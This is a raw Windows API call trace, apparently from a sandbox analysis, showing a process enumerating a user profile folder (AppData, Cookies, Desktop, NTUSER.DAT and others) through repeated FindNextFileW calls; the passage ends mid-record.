ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0161.711] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.711] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0161.714] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0161.714] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0161.718] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e24c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0161.719] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0161.719] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0161.719] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0161.719] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8a80240, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8a80240, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0161.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x791af7b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x9f0e69c0, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xda608490, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xda608490, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79bf3690, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c197f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c197f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c3f950, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c3f950, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7945d070, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7945d070, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8e12340, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8e12340, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0161.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8ed0a20, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8ed0a20, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0161.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.723] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0161.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9cc) returned 1 [0161.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec2c) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8a80240, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8a80240, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, 